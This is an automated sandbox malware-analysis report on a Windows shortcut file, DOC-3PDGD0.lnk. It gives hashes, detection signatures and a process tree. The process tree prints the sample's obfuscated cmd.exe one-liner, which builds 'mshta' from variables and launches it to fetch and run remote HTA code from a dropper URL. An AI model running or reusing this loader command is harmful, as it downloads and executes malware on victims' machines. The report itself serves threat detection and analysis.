Analysis
- max time kernel
148s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:32
Static task
static1
Behavioral task
behavioral1
Sample
DOC-3PDGD0.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-3PDGD0.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-3PDGD0.lnk
- Size 1KB
- Sample260803-qs8tkazeme
- SHA256 0a9e4c8bfa7cd5d4623d1a80c368814f826c1d555f096a7170f23d314c176c73
- MD5 48123875ae5bc5ab5d95a96e54c87154
- SHA1 a57cf84ebdc01019035ea59210ba710b200235ce
- SHA512 3f277c062eb97e835563553a4107e885c0e5f07b79baed0beb09692a1023d8859ab4652a8d66281f88c3869bc44aabcd0c40dd44c1be7b2721db5ca6fda70958
- TLSH T1B53147503FFD0614F3F39E7795BB572085BBB8568E24D61D01414A4C1432A14E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4940 cmd.exe 4688 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4688 wrote to memory of 4940 4688 cmd.exe 90 PID 4940 wrote to memory of 4528 4940 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-3PDGD0.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4688 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set DQT=msh&&set gz=ta&&start "" !DQT!!gz! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4940 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:4528
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